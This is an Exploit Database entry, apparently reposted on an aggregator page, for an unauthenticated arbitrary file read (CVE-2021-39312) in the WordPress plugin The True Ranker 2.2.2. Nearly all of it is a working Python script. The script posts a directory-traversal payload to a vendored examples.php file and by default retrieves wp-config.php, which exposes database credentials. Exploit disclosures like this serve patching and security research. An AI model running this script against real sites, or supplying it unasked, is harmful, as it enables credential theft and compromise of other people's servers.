WordPress Plugin The True Ranker 2.2.2 – Arbitrary File Read (Unauthenticated)

• Exploit Database
• 15 阅读

• 作者： Liad Levy
  日期： 2022-01-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50624/

• # Exploit Title: WordPress Plugin The True Ranker 2.2.2 - Arbitrary File Read (Unauthenticated)
  # Date: 23/12/2021
  # Exploit Authors: Nicole Sheinin, Liad Levy
  # Vendor Homepage: https://wordpress.org/plugins/seo-local-rank/
  # Software Link: https://plugins.svn.wordpress.org/seo-local-rank/tags/2.2.2/
  # Version: versions <= 2.2.2
  # Tested on: MacOS 
  # CVE: CVE-2021-39312
  # Github repo: 
  
  #!/usr/bin/env python3
  
  import argparse, textwrap
  import requests
  import sys
  
  parser = argparse.ArgumentParser(description="Exploit The True Ranker plugin - Read arbitrary files", formatter_class=argparse.RawTextHelpFormatter) 
  group_must = parser.add_argument_group('must arguments')
  group_must.add_argument("-u","--url", help="WordPress Target URL (Example: http://127.0.0.1:8080)",required=True) 
  parser.add_argument("-p","--payload", help="Path to read[default] ../../../../../../../../../../wp-config.php", default="../../../../../../../../../../wp-config.php",required=False) 
  
  args = parser.parse_args()
  
  if len(sys.argv) <= 2:
  print (f"Exploit Usage: ./exploit.py -h [help] -u [url]")
  sys.exit()
  
  HOST = args.url
  PAYLOAD = args.payload
  
  url = "{}/wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php".format(HOST)
  payload = "/scripts/simple.php/{}".format(PAYLOAD)
  
  
  r = requests.post(url,data={'src': payload})
  if r.status_code == 200:
  print(r.text)
  else:
  print("No exploit found")